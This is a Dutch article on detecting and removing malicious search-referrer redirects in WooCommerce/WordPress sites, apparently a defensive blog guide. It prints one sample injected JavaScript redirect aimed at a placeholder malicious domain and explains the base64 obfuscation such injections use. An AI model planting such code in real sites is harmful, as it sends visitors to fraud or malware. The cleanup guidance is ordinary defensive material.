U opent uw WooCommerce-webshop en ontdekt dat bezoekers die via Google binnenkomen, direct worden doorgestuurd naar een vage website met advertenties of frauduleuze prijsvragen. Dit is het klassieke symptoom van een malware-infectie, vaak veroorzaakt door een eerdere exploit (zoals een SQL-injectie of een gelekt admin-wachtwoord). In dit artikel bespreken we hoe dit soort kwaadaardige redirects werken, waar ze zich verstoppen in de WordPress-database en hoe u ze effectief kunt opsporen en verwijderen.

Waar verstopt de malware zich?

Aanvallers willen ervoor zorgen dat hun injectie zo lang mogelijk onontdekt blijft. Ze maken daarom vaak gebruik van 'voorwaardelijke redirects': de redirect activeert alleen als de bezoeker een zogeheten referrer heeft van een zoekmachine (zoals Google of Bing) én als de bezoeker niet is ingelogd als administrator. Hierdoor merkt de webshopeigenaar in eerste instantie niets.

De kwaadaardige code bevindt zich meestal op twee plekken:

  1. In de bestanden: Toegevoegd aan het header.php bestand van het thema, of gecamoufleerd als een legitiem uitziend script in de map wp-includes/js/.

  2. In de database: Geinjecteerd in de tabel wp_options (binnen veelgebruikte opties zoals siteurl, home of instellingen van actieve plug-ins) of binnen de productomschrijvingen in wp_posts.

Het mechanisme van de injectie

Een typische database-injectie maakt gebruik van JavaScript om de browser van de bezoeker om te leiden:

HTML
 
<script type="text/javascript">
if (document.referrer.match(/google|bing|yahoo/gi)) {
    window.location.replace("https://kwaadaardigedomeinnaam.com/malware/index.php");
}
</script>

Soms wordt de code gecodeerd met base64 of obfuscatie om detectie door eenvoudige scanners te omzeilen, wat eruitziet als een lange, onleesbare string van letters en cijfers binnen de database-opties.

Stappenplan voor opsporing en herstel

1. Integriteitscontrole van bestanden

Gebruik een beveiligingsplug-in (zoals Wordfence of Sucuri) om een volledige scan uit te voeren. Deze plug-ins vergelijken uw core- en plug-inbestanden met de officiële repositories en markeren direct alle bestanden die handmatig zijn aangepast of vreemde code bevatten.

2. Database-inspectie via phpMyAdmin

Als de bestanden schoon zijn, maar de redirect blijft actief, controleer dan de database. Log in op phpMyAdmin en doorzoek de tabel wp_options op verdachte scripts. Inspecteer met name de volgende rijen:

  • siteurl en home (controleer of de URL's correct zijn gespeld).

  • Velden die HTML- of JavaScript-code van widgets bevatten.

U kunt handmatig zoeken naar specifieke patronen met SQL-query's, zoals:

SQL
 
SELECT * FROM wp_options WHERE option_value LIKE '%script%';

3. Schoonmaken en nazorg

  • Back-up maken: Maak altijd een volledige back-up van de database en bestanden voordat u handmatig malware verwijdert.

  • Wachtwoorden wijzigen: Zodra de malware is verwijderd, moet u alle wachtwoorden (WordPress-gebruikers, database, FTP, hostingpaneel) wijzigen, aangezien de kans groot is dat de aanvaller de inloggegevens heeft buitgemaakt.

  • Beveiliging opschroeven: Installeer een robuuste Web Application Firewall om te voorkomen dat de aanvaller via dezelfde kwetsbaarheid opnieuw toegang krijgt.